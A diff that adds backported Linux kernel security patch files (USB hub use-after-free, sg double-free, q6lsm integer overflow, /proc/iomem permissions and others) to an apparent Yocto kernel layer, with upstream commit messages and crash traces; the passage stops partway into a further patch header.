file mode 100644 index 0000000..3118538 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0182-bbb094201689-USB fix invalid memory access in hubactivate.patch @@ -0,0 +1,99 @@ +From bbb094201689b833910a5753fad2f46be2c78b67 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Fri, 15 Jul 2016 14:26:25 -0400 +Subject: USB: fix invalid memory access in hub_activate() + +commit e50293ef9775c5f1cf3fcc093037dd6a8c5684ea upstream. + +Commit 8520f38099cc ("USB: change hub initialization sleeps to +delayed_work") changed the hub_activate() routine to make part of it +run in a workqueue. However, the commit failed to take a reference to +the usb_hub structure or to lock the hub interface while doing so. As +a result, if a hub is plugged in and quickly unplugged before the work +routine can run, the routine will try to access memory that has been +deallocated. Or, if the hub is unplugged while the routine is +running, the memory may be deallocated while it is in active use. + +This patch fixes the problem by taking a reference to the usb_hub at +the start of hub_activate() and releasing it at the end (when the work +is finished), and by locking the hub interface while the work routine +is running. It also adds a check at the start of the routine to see +if the hub has already been disconnected, in which nothing should be +done. + +CVE-2015-8816 + +Signed-off-by: Alan Stern +Reported-by: Alexandru Cornea +Tested-by: Alexandru Cornea +Fixes: 8520f38099cc ("USB: change hub initialization sleeps to delayed_work") +Signed-off-by: Greg Kroah-Hartman +[ luis: backported to 3.16: + - Added forward declaration of hub_release() which mainline had with commit + 32a6958998c5 ("usb: hub: convert khubd into workqueue") ] +Signed-off-by: Luis Henriques +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + drivers/usb/core/hub.c | 23 ++++++++++++++++++++--- + 1 file changed, 20 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/core/hub.c b/drivers/usb/core/hub.c +index 8eb2de6beee4b..4e5156d212dd9 100644 +--- a/drivers/usb/core/hub.c ++++ b/drivers/usb/core/hub.c +@@ -113,6 +113,7 @@ EXPORT_SYMBOL_GPL(ehci_cf_port_reset_rwsem); + #define HUB_DEBOUNCE_STEP 25 + #define HUB_DEBOUNCE_STABLE 100 + ++static void hub_release(struct kref *kref); + static int usb_reset_and_verify_device(struct usb_device *udev); + + static inline char *portspeed(struct usb_hub *hub, int portstatus) +@@ -1024,10 +1025,20 @@ static void hub_activate(struct usb_hub *hub, enum hub_activation_type type) + unsigned delay; + + /* Continue a partial initialization */ +- if (type == HUB_INIT2) +- goto init2; +- if (type == HUB_INIT3) ++ if (type == HUB_INIT2 || type == HUB_INIT3) { ++ device_lock(hub->intfdev); ++ ++ /* Was the hub disconnected while we were waiting? */ ++ if (hub->disconnected) { ++ device_unlock(hub->intfdev); ++ kref_put(&hub->kref, hub_release); ++ return; ++ } ++ if (type == HUB_INIT2) ++ goto init2; + goto init3; ++ } ++ kref_get(&hub->kref); + + /* The superspeed hub except for root hub has to use Hub Depth + * value as an offset into the route string to locate the bits +@@ -1224,6 +1235,7 @@ static void hub_activate(struct usb_hub *hub, enum hub_activation_type type) + PREPARE_DELAYED_WORK(&hub->init_work, hub_init_func3); + schedule_delayed_work(&hub->init_work, + msecs_to_jiffies(delay)); ++ device_unlock(hub->intfdev); + return; /* Continues at init3: below */ + } else { + msleep(delay); +@@ -1244,6 +1256,11 @@ static void hub_activate(struct usb_hub *hub, enum hub_activation_type type) + /* Allow autosuspend if it was suppressed */ + if (type <= HUB_INIT3) + usb_autopm_put_interface_async(to_usb_interface(hub->intfdev)); ++ ++ if (type == HUB_INIT2 || type == HUB_INIT3) ++ device_unlock(hub->intfdev); ++ ++ kref_put(&hub->kref, hub_release); + } + + /* Implement the continuations for the delays above */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0183-5d64942934f0-powerpctm Block signal return setting invalid MSR state.patch b/recipes-kernel/linux/linux-bass/autopatcher/0183-5d64942934f0-powerpctm Block signal return setting invalid MSR state.patch new file mode 100644 index 0000000..e2a5c6b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0183-5d64942934f0-powerpctm Block signal return setting invalid MSR state.patch @@ -0,0 +1,88 @@ +From 5d64942934f0e0b813a0eb4a605551edb12cb416 Mon Sep 17 00:00:00 2001 +From: Michael Neuling +Date: Thu, 19 Nov 2015 15:44:44 +1100 +Subject: powerpc/tm: Block signal return setting invalid MSR state + +commit d2b9d2a5ad5ef04ff978c9923d19730cb05efd55 upstream. + +Currently we allow both the MSR T and S bits to be set by userspace on +a signal return. Unfortunately this is a reserved configuration and +will cause a TM Bad Thing exception if attempted (via rfid). + +This patch checks for this case in both the 32 and 64 bit signals +code. If both T and S are set, we mark the context as invalid. + +Found using a syscall fuzzer. + +Fixes: 2b0a576d15e0 ("powerpc: Add new transactional memory state to the signal context") +Signed-off-by: Michael Neuling +Signed-off-by: Michael Ellerman +Signed-off-by: Greg Kroah-Hartman +--- + arch/powerpc/include/asm/reg.h | 1 + + arch/powerpc/kernel/signal_32.c | 14 +++++++++----- + arch/powerpc/kernel/signal_64.c | 4 ++++ + 3 files changed, 14 insertions(+), 5 deletions(-) + +diff --git a/arch/powerpc/include/asm/reg.h b/arch/powerpc/include/asm/reg.h +index 795f67792ea98..60c31698f7d5e 100644 +--- a/arch/powerpc/include/asm/reg.h ++++ b/arch/powerpc/include/asm/reg.h +@@ -108,6 +108,7 @@ + #define MSR_TS_T __MASK(MSR_TS_T_LG) /* Transaction Transactional */ + #define MSR_TS_MASK (MSR_TS_T | MSR_TS_S) /* Transaction State bits */ + #define MSR_TM_ACTIVE(x) (((x) & MSR_TS_MASK) != 0) /* Transaction active? */ ++#define MSR_TM_RESV(x) (((x) & MSR_TS_MASK) == MSR_TS_MASK) /* Reserved */ + #define MSR_TM_TRANSACTIONAL(x) (((x) & MSR_TS_MASK) == MSR_TS_T) + #define MSR_TM_SUSPENDED(x) (((x) & MSR_TS_MASK) == MSR_TS_S) + +diff --git a/arch/powerpc/kernel/signal_32.c b/arch/powerpc/kernel/signal_32.c +index d9b673b06757e..8220ae86252cf 100644 +--- a/arch/powerpc/kernel/signal_32.c ++++ b/arch/powerpc/kernel/signal_32.c +@@ -858,6 +858,15 @@ static long restore_tm_user_regs(struct pt_regs *regs, + return 1; + #endif /* CONFIG_SPE */ + ++ /* Get the top half of the MSR from the user context */ ++ if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) ++ return 1; ++ msr_hi <<= 32; ++ /* If TM bits are set to the reserved value, it's an invalid context */ ++ if (MSR_TM_RESV(msr_hi)) ++ return 1; ++ /* Pull in the MSR TM bits from the user context */ ++ regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr_hi & MSR_TS_MASK); + /* Now, recheckpoint. This loads up all of the checkpointed (older) + * registers, including FP and V[S]Rs. After recheckpointing, the + * transactional versions should be loaded. +@@ -867,11 +876,6 @@ static long restore_tm_user_regs(struct pt_regs *regs, + current->thread.tm_texasr |= TEXASR_FS; + /* This loads the checkpointed FP/VEC state, if used */ + tm_recheckpoint(¤t->thread, msr); +- /* Get the top half of the MSR */ +- if (__get_user(msr_hi, &tm_sr->mc_gregs[PT_MSR])) +- return 1; +- /* Pull in MSR TM from user context */ +- regs->msr = (regs->msr & ~MSR_TS_MASK) | ((msr_hi<<32) & MSR_TS_MASK); + + /* This loads the speculative FP/VEC state, if used */ + if (msr & MSR_FP) { +diff --git a/arch/powerpc/kernel/signal_64.c b/arch/powerpc/kernel/signal_64.c +index 74d9615a6bb6d..2419c17538e20 100644 +--- a/arch/powerpc/kernel/signal_64.c ++++ b/arch/powerpc/kernel/signal_64.c +@@ -416,6 +416,10 @@ static long restore_tm_sigcontexts(struct pt_regs *regs, + + /* get MSR separately, transfer the LE bit if doing signal return */ + err |= __get_user(msr, &sc->gp_regs[PT_MSR]); ++ /* Don't allow reserved mode. */ ++ if (MSR_TM_RESV(msr)) ++ return -EINVAL; ++ + /* pull in MSR TM from user context */ + regs->msr = (regs->msr & ~MSR_TS_MASK) | (msr & MSR_TS_MASK); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0184-c66202b9288c-diag Make fixes to diagswitchlogging.patch b/recipes-kernel/linux/linux-bass/autopatcher/0184-c66202b9288c-diag Make fixes to diagswitchlogging.patch new file mode 100644 index 0000000..65ec401 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0184-c66202b9288c-diag Make fixes to diagswitchlogging.patch @@ -0,0 +1,36 @@ +From c66202b9288cc4ab1c38f7c928fa1005c285c170 Mon Sep 17 00:00:00 2001 +From: Ravi Aravamudhan +Date: Wed, 11 Feb 2015 17:21:11 -0800 +Subject: diag: Make fixes to diag_switch_logging + +Diag driver holds on to the socket process task structure even +after signaling the process to exit. This patch clears the internal +handle after signaling. + +Change-Id: I642fb595fc2caebc6f2f5419efed4fb560e4e4db +Signed-off-by: Ravi Aravamudhan +--- + drivers/char/diag/diagchar_core.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index 331ed97..b8343c3 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2008-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2008-2015, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -930,6 +930,7 @@ static int diag_switch_logging(int requested_mode) + pr_err("socket process, status: %d\n", + status); + } ++ driver->socket_process = NULL; + } + } else if (driver->logging_mode == SOCKET_MODE) { + driver->socket_process = current; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0185-e13ebd727d16-ASoC q6lsm Add check for integer overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0185-e13ebd727d16-ASoC q6lsm Add check for integer overflow.patch new file mode 100644 index 0000000..40f6f6f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0185-e13ebd727d16-ASoC q6lsm Add check for integer overflow.patch @@ -0,0 +1,48 @@ +From e13ebd727d161db7003be6756e61283dce85fa3b Mon Sep 17 00:00:00 2001 +From: Bhalchandra Gajare +Date: Tue, 10 Feb 2015 14:44:36 -0800 +Subject: ASoC: q6lsm: Add check for integer overflow + +During sound model registration, the total memory size needed by the +sound model data is the sum of sound model length, number of zero +padding bytes and the calibration size. It is possible this sum +can result into integer overflow causing difficult to debug issues. +Add check for integer overflow to avoid such possible issues. + +CRs-fixed: 792367 +Change-Id: I9f451aa308214a4eac42b82e2abf1375c858ff30 +Signed-off-by: Bhalchandra Gajare +--- + sound/soc/msm/qdsp6v2/q6lsm.c | 11 ++++++++++- + 1 file changed, 10 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/q6lsm.c b/sound/soc/msm/qdsp6v2/q6lsm.c +index db29115..67be542 100644 +--- a/sound/soc/msm/qdsp6v2/q6lsm.c ++++ b/sound/soc/msm/qdsp6v2/q6lsm.c +@@ -1,5 +1,5 @@ + /* +- * Copyright (c) 2013-2014, Linux Foundation. All rights reserved. ++ * Copyright (c) 2013-2015, Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -1055,6 +1055,15 @@ int q6lsm_snd_model_buf_alloc(struct lsm_client *client, size_t len) + client->sound_model.size = len; + pad_zero = (LSM_ALIGN_BOUNDARY - + (len % LSM_ALIGN_BOUNDARY)); ++ if ((len > SIZE_MAX - pad_zero) || ++ (len + pad_zero > ++ SIZE_MAX - cal_block->cal_data.size)) { ++ pr_err("%s: invalid allocation size, len = %zd, pad_zero =%zd, cal_size = %zd\n", ++ __func__, len, pad_zero, ++ cal_block->cal_data.size); ++ rc = -EINVAL; ++ goto fail; ++ } + + total_mem = PAGE_ALIGN(pad_zero + len + + cal_block->cal_data.size); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0186-9ec380c06bbd-msm cpp Update iommu handling.patch b/recipes-kernel/linux/linux-bass/autopatcher/0186-9ec380c06bbd-msm cpp Update iommu handling.patch new file mode 100644 index 0000000..7bb486f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0186-9ec380c06bbd-msm cpp Update iommu handling.patch @@ -0,0 +1,31 @@ +From 9ec380c06bbd79493828fcc3c876d8a53fd3369f Mon Sep 17 00:00:00 2001 +From: Iliya Varadzhakov +Date: Fri, 13 Mar 2015 07:33:18 -0700 +Subject: msm: cpp: Update iommu handling + +CPP has to check for stream state before operate iommu +contexts. + +Change-Id: I69e6266e1ff2d1cd93e7191f2c43c887154abae0 +Signed-off-by: Iliya Varadzhakov +--- + drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +index 784e882..96b1641 100644 +--- a/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c ++++ b/drivers/media/platform/msm/camera_v2/pproc/cpp/msm_cpp.c +@@ -2662,7 +2662,8 @@ STREAM_BUFF_END: + break; + } + case VIDIOC_MSM_CPP_IOMMU_DETACH: { +- if (cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) { ++ if ((cpp_dev->iommu_state == CPP_IOMMU_STATE_ATTACHED) && ++ (cpp_dev->stream_cnt == 0)) { + iommu_detach_device(cpp_dev->domain, + cpp_dev->iommu_ctx); + cpp_dev->iommu_state = CPP_IOMMU_STATE_DETACHED; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0187-e758417e7c31-kernel Restrict permissions of prociomem.patch b/recipes-kernel/linux/linux-bass/autopatcher/0187-e758417e7c31-kernel Restrict permissions of prociomem.patch new file mode 100644 index 0000000..7bce069 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0187-e758417e7c31-kernel Restrict permissions of prociomem.patch @@ -0,0 +1,33 @@ +From e758417e7c31b975c862aa55d0ceef28f3cc9104 Mon Sep 17 00:00:00 2001 +From: Biswajit Paul +Date: Mon, 9 Feb 2015 15:21:12 -0800 +Subject: kernel: Restrict permissions of /proc/iomem. + +The permissions of /proc/iomem currently are -r--r--r--. Everyone can +see its content. As iomem contains information about the physical memory +content of the device, restrict the information only to root. + +Change-Id: If0be35c3fac5274151bea87b738a48e6ec0ae891 +CRs-Fixed: 786116 +Signed-off-by: Biswajit Paul +Signed-off-by: Avijit Kanti Das +--- + kernel/resource.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kernel/resource.c b/kernel/resource.c +index a5a8086..91c35c3 100644 +--- a/kernel/resource.c ++++ b/kernel/resource.c +@@ -153,7 +153,7 @@ static const struct file_operations proc_iomem_operations = { + static int __init ioresources_init(void) + { + proc_create("ioports", 0, NULL, &proc_ioports_operations); +- proc_create("iomem", 0, NULL, &proc_iomem_operations); ++ proc_create("iomem", S_IRUSR, NULL, &proc_iomem_operations); + return 0; + } + __initcall(ioresources_init); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0188-6e2c437a2d0a-arm64 dmamapping always clear allocated buffers.patch b/recipes-kernel/linux/linux-bass/autopatcher/0188-6e2c437a2d0a-arm64 dmamapping always clear allocated buffers.patch new file mode 100644 index 0000000..69f66af --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0188-6e2c437a2d0a-arm64 dmamapping always clear allocated buffers.patch @@ -0,0 +1,53 @@ +From 6e2c437a2d0a85d90d3db85a7471f99764f7bbf8 Mon Sep 17 00:00:00 2001 +From: Marek Szyprowski +Date: Thu, 23 Apr 2015 12:46:16 +0100 +Subject: arm64: dma-mapping: always clear allocated buffers + +[ Upstream commit 6829e274a623187c24f7cfc0e3d35f25d087fcc5 ] + +Buffers allocated by dma_alloc_coherent() are always zeroed on Alpha, +ARM (32bit), MIPS, PowerPC, x86/x86_64 and probably other architectures. +It turned out that some drivers rely on this 'feature'. Allocated buffer +might be also exposed to userspace with dma_mmap() call, so clearing it +is desired from security point of view to avoid exposing random memory +to userspace. This patch unifies dma_alloc_coherent() behavior on ARM64 +architecture with other implementations by unconditionally zeroing +allocated buffer. + +CRs-Fixed: 1041735 +Change-Id: I74bf024e0f603ca8c0b05430dc2ee154d579cfb2 +Cc: # v3.14+ +Signed-off-by: Marek Szyprowski +Signed-off-by: Will Deacon +Signed-off-by: Sasha Levin +Git-commit: a142e9641dcbead2c8845c949ad518acac96ed28 +Git-repo: git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git +[lmark@codeaurora.org: resolve merge conflicts] +Signed-off-by: Liam Mark +--- + arch/arm64/mm/dma-mapping.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c +index 9b4716e..2678f6e 100644 +--- a/arch/arm64/mm/dma-mapping.c ++++ b/arch/arm64/mm/dma-mapping.c +@@ -88,6 +88,7 @@ static void *__alloc_from_pool(size_t size, struct page **ret_page) + if (pageno < pool->nr_pages) { + bitmap_set(pool->bitmap, pageno, count); + ptr = pool->vaddr + PAGE_SIZE * pageno; ++ memset(ptr, 0, size); + *ret_page = pool->pages[pageno]; + } else { + pr_err_once("ERROR: %u KiB atomic DMA coherent pool is too small!\n" +@@ -208,6 +209,7 @@ static void *arm64_swiotlb_alloc_coherent(struct device *dev, size_t size, + + page = pfn_to_page(pfn); + addr = page_address(page); ++ memset(addr, 0, size); + + if (dma_get_attr(DMA_ATTR_NO_KERNEL_MAPPING, attrs) || + dma_get_attr(DMA_ATTR_STRONGLY_ORDERED, attrs)) { +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0189-8fff105e1304-arm64 perf reject groups spanning multiple HW PMUs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0189-8fff105e1304-arm64 perf reject groups spanning multiple HW PMUs.patch new file mode 100644 index 0000000..773a9c6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0189-8fff105e1304-arm64 perf reject groups spanning multiple HW PMUs.patch @@ -0,0 +1,111 @@ +From 8fff105e13041e49b82f92eef034f363a6b1c071 Mon Sep 17 00:00:00 2001 +From: "Suzuki K. Poulose" +Date: Tue, 17 Mar 2015 18:14:59 +0000 +Subject: arm64: perf: reject groups spanning multiple HW PMUs + +The perf core implicitly rejects events spanning multiple HW PMUs, as in +these cases the event->ctx will differ. However this validation is +performed after pmu::event_init() is called in perf_init_event(), and +thus pmu::event_init() may be called with a group leader from a +different HW PMU. + +The ARM64 PMU driver does not take this fact into account, and when +validating groups assumes that it can call to_arm_pmu(event->pmu) for +any HW event. When the event in question is from another HW PMU this is +wrong, and results in dereferencing garbage. + +This patch updates the ARM64 PMU driver to first test for and reject +events from other PMUs, moving the to_arm_pmu and related logic after +this test. Fixes a crash triggered by perf_fuzzer on Linux-4.0-rc2, with +a CCI PMU present: + +Bad mode in Synchronous Abort handler detected, code 0x86000006 -- IABT (current EL) +CPU: 0 PID: 1371 Comm: perf_fuzzer Not tainted 3.19.0+ #249 +Hardware name: V2F-1XV7 Cortex-A53x2 SMM (DT) +task: ffffffc07c73a280 ti: ffffffc07b0a0000 task.ti: ffffffc07b0a0000 +PC is at 0x0 +LR is at validate_event+0x90/0xa8 +pc : [<0000000000000000>] lr : [] pstate: 00000145 +sp : ffffffc07b0a3ba0 + +[< (null)>] (null) +[] armpmu_event_init+0x174/0x3cc +[] perf_try_init_event+0x34/0x70 +[] perf_init_event+0xe0/0x10c +[] perf_event_alloc+0x288/0x358 +[] SyS_perf_event_open+0x464/0x98c +Code: bad PC value + +Also cleans up the code to use the arm_pmu only when we know +that we are dealing with an arm pmu event. + +Cc: Will Deacon +Acked-by: Mark Rutland +Acked-by: Peter Ziljstra (Intel) +Signed-off-by: Suzuki K. Poulose +Signed-off-by: Will Deacon +--- + arch/arm64/kernel/perf_event.c | 21 +++++++++++++++------ + 1 file changed, 15 insertions(+), 6 deletions(-) + +diff --git a/arch/arm64/kernel/perf_event.c b/arch/arm64/kernel/perf_event.c +index 25a5308744b1c..68a74151fa6cf 100644 +--- a/arch/arm64/kernel/perf_event.c ++++ b/arch/arm64/kernel/perf_event.c +@@ -322,22 +322,31 @@ out: + } + + static int +-validate_event(struct pmu_hw_events *hw_events, +- struct perf_event *event) ++validate_event(struct pmu *pmu, struct pmu_hw_events *hw_events, ++ struct perf_event *event) + { +- struct arm_pmu *armpmu = to_arm_pmu(event->pmu); ++ struct arm_pmu *armpmu; + struct hw_perf_event fake_event = event->hw; + struct pmu *leader_pmu = event->group_leader->pmu; + + if (is_software_event(event)) + return 1; + ++ /* ++ * Reject groups spanning multiple HW PMUs (e.g. CPU + CCI). The ++ * core perf code won't check that the pmu->ctx == leader->ctx ++ * until after pmu->event_init(event). ++ */ ++ if (event->pmu != pmu) ++ return 0; ++ + if (event->pmu != leader_pmu || event->state < PERF_EVENT_STATE_OFF) + return 1; + + if (event->state == PERF_EVENT_STATE_OFF && !event->attr.enable_on_exec) + return 1; + ++ armpmu = to_arm_pmu(event->pmu); + return armpmu->get_event_idx(hw_events, &fake_event) >= 0; + } + +@@ -355,15 +364,15 @@ validate_group(struct perf_event *event) + memset(fake_used_mask, 0, sizeof(fake_used_mask)); + fake_pmu.used_mask = fake_used_mask; + +- if (!validate_event(&fake_pmu, leader)) ++ if (!validate_event(event->pmu, &fake_pmu, leader)) + return -EINVAL; + + list_for_each_entry(sibling, &leader->sibling_list, group_entry) { +- if (!validate_event(&fake_pmu, sibling)) ++ if (!validate_event(event->pmu, &fake_pmu, sibling)) + return -EINVAL; + } + +- if (!validate_event(&fake_pmu, event)) ++ if (!validate_event(event->pmu, &fake_pmu, event)) + return -EINVAL; + + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0190-dda50d926e8a-sg Fix doublefree when drives detach during SGIO.patch b/recipes-kernel/linux/linux-bass/autopatcher/0190-dda50d926e8a-sg Fix doublefree when drives detach during SGIO.patch new file mode 100644 index 0000000..4bea612 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0190-dda50d926e8a-sg Fix doublefree when drives detach during SGIO.patch @@ -0,0 +1,75 @@ +From dda50d926e8a3f215857ab7091cd6b11d588881a Mon Sep 17 00:00:00 2001 +From: Calvin Owens +Date: Fri, 30 Oct 2015 16:57:00 -0700 +Subject: sg: Fix double-free when drives detach during SG_IO + +commit f3951a3709ff50990bf3e188c27d346792103432 upstream. + +In sg_common_write(), we free the block request and return -ENODEV if +the device is detached in the middle of the SG_IO ioctl(). + +Unfortunately, sg_finish_rem_req() also tries to free srp->rq, so we +end up freeing rq->cmd in the already free rq object, and then free +the object itself out from under the current user. + +This ends up corrupting random memory via the list_head on the rq +object. The most common crash trace I saw is this: + + ------------[ cut here ]------------ + kernel BUG at block/blk-core.c:1420! + Call Trace: + [] blk_put_request+0x5b/0x80 + [] sg_finish_rem_req+0x6b/0x120 [sg] + [] sg_common_write.isra.14+0x459/0x5a0 [sg] + [] ? selinux_file_alloc_security+0x48/0x70 + [] sg_new_write.isra.17+0x195/0x2d0 [sg] + [] sg_ioctl+0x644/0xdb0 [sg] + [] do_vfs_ioctl+0x90/0x520 + [] ? file_has_perm+0x97/0xb0 + [] SyS_ioctl+0x91/0xb0 + [] tracesys+0xdd/0xe2 + RIP [] __blk_put_request+0x154/0x1a0 + +The solution is straightforward: just set srp->rq to NULL in the +failure branch so that sg_finish_rem_req() doesn't attempt to re-free +it. + +Additionally, since sg_rq_end_io() will never be called on the object +when this happens, we need to free memory backing ->cmd if it isn't +embedded in the object itself. + +KASAN was extremely helpful in finding the root cause of this bug. + +Signed-off-by: Calvin Owens +Acked-by: Douglas Gilbert +Signed-off-by: Martin K. Petersen +Acked-by: Johannes Thumshirn +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/scsi/sg.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/scsi/sg.c b/drivers/scsi/sg.c +index 291791a9be8b0..0b27d293dd837 100644 +--- a/drivers/scsi/sg.c ++++ b/drivers/scsi/sg.c +@@ -769,8 +769,14 @@ sg_common_write(Sg_fd * sfp, Sg_request * srp, + return k; /* probably out of space --> ENOMEM */ + } + if (sdp->detached) { +- if (srp->bio) ++ if (srp->bio) { ++ if (srp->rq->cmd != srp->rq->__cmd) ++ kfree(srp->rq->cmd); ++ + blk_end_request_all(srp->rq, -EIO); ++ srp->rq = NULL; ++ } ++ + sg_finish_rem_req(srp); + return -ENODEV; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0191-67de5f0a4a9a-tty Prevent ldisc drivers from reusing stale tty fields.patch b/recipes-kernel/linux/linux-bass/autopatcher/0191-67de5f0a4a9a-tty Prevent ldisc drivers from reusing stale tty fields.patch new file mode 100644 index 0000000..bc217d0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0191-67de5f0a4a9a-tty Prevent ldisc drivers from reusing stale tty fields.patch @@ -0,0 +1,83 @@ +From 67de5f0a4a9a3c9eb6597c20b20f4e69a47e47b6 Mon Sep 17 00:00:00 2001 +From: Peter Hurley +Date: Fri, 27 Nov 2015 14:30:21 -0500 +Subject: tty: Prevent ldisc drivers from re-using stale tty fields + +commit dd42bf1197144ede075a9d4793123f7689e164bc upstream. + +Line discipline drivers may mistakenly misuse ldisc-related fields +when initializing. For example, a failure to initialize tty->receive_room +in the N_GIGASET_M101 line discipline was recently found and fixed [1]. +Now, the N_X25 line discipline has been discovered accessing the previous +line discipline's already-freed private data [2]. + +Harden the ldisc interface against misuse by initializing revelant +tty fields before instancing the new line discipline. + +[1] + commit fd98e9419d8d622a4de91f76b306af6aa627aa9c + Author: Tilman Schmidt + Date: Tue Jul 14 00:37:13 2015 +0200 + + isdn/gigaset: reset tty->receive_room when attaching ser_gigaset + +[2] Report from Sasha Levin + [ 634.336761] ================================================================== + [ 634.338226] BUG: KASAN: use-after-free in x25_asy_open_tty+0x13d/0x490 at addr ffff8800a743efd0 + [ 634.339558] Read of size 4 by task syzkaller_execu/8981 + [ 634.340359] ============================================================================= + [ 634.341598] BUG kmalloc-512 (Not tainted): kasan: bad access detected + ... + [ 634.405018] Call Trace: + [ 634.405277] dump_stack (lib/dump_stack.c:52) + [ 634.405775] print_trailer (mm/slub.c:655) + [ 634.406361] object_err (mm/slub.c:662) + [ 634.406824] kasan_report_error (mm/kasan/report.c:138 mm/kasan/report.c:236) + [ 634.409581] __asan_report_load4_noabort (mm/kasan/report.c:279) + [ 634.411355] x25_asy_open_tty (drivers/net/wan/x25_asy.c:559 (discriminator 1)) + [ 634.413997] tty_ldisc_open.isra.2 (drivers/tty/tty_ldisc.c:447) + [ 634.414549] tty_set_ldisc (drivers/tty/tty_ldisc.c:567) + [ 634.415057] tty_ioctl (drivers/tty/tty_io.c:2646 drivers/tty/tty_io.c:2879) + [ 634.423524] do_vfs_ioctl (fs/ioctl.c:43 fs/ioctl.c:607) + [ 634.427491] SyS_ioctl (fs/ioctl.c:622 fs/ioctl.c:613) + [ 634.427945] entry_SYSCALL_64_fastpath (arch/x86/entry/entry_64.S:188) + +Cc: Tilman Schmidt +Cc: Sasha Levin +Signed-off-by: Peter Hurley +Signed-off-by: Greg Kroah-Hartman +[wt: adjust context] + +Signed-off-by: Willy Tarreau +--- + drivers/tty/tty_ldisc.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/tty/tty_ldisc.c b/drivers/tty/tty_ldisc.c +index 1afe192bef6a7..b5cbe12e2815c 100644 +--- a/drivers/tty/tty_ldisc.c ++++ b/drivers/tty/tty_ldisc.c +@@ -400,6 +400,10 @@ EXPORT_SYMBOL_GPL(tty_ldisc_flush); + * they are not on hot paths so a little discipline won't do + * any harm. + * ++ * The line discipline-related tty_struct fields are reset to ++ * prevent the ldisc driver from re-using stale information for ++ * the new ldisc instance. ++ * + * Locking: takes termios_mutex + */ + +@@ -408,6 +412,9 @@ static void tty_set_termios_ldisc(struct tty_struct *tty, int num) + mutex_lock(&tty->termios_mutex); + tty->termios.c_line = num; + mutex_unlock(&tty->termios_mutex); ++ ++ tty->disc_data = NULL; ++ tty->receive_room = 0; + } + + /** +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0192.diff b/recipes-kernel/linux/linux-bass/autopatcher/0192.diff new file mode 100644 index 0000000..db32033 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0192.diff @@ -0,0 +1,13 @@ +diff --git a/arch/arm64/kernel/sys.c b/arch/arm64/kernel/sys.c +index 3fa98ff..df20b79 100644 +--- a/arch/arm64/kernel/sys.c ++++ b/arch/arm64/kernel/sys.c +@@ -50,7 +50,7 @@ + * The sys_call_table array must be 4K aligned to be accessible from + * kernel/entry.S. + */ +-void *sys_call_table[__NR_syscalls] __aligned(4096) = { ++void * const sys_call_table[__NR_syscalls] __aligned(4096) = { + [0 ... __NR_syscalls - 1] = sys_ni_syscall, + #include + }; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0193-b886719145be-crypto algifskcipher Require setkey before accept2.patch b/recipes-kernel/linux/linux-bass/autopatcher/0193-b886719145be-crypto algifskcipher Require setkey before accept2.patch new file mode 100644 index 0000000..bae9499 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0193-b886719145be-crypto algifskcipher Require setkey before accept2.patch @@ -0,0 +1,127 @@ +From 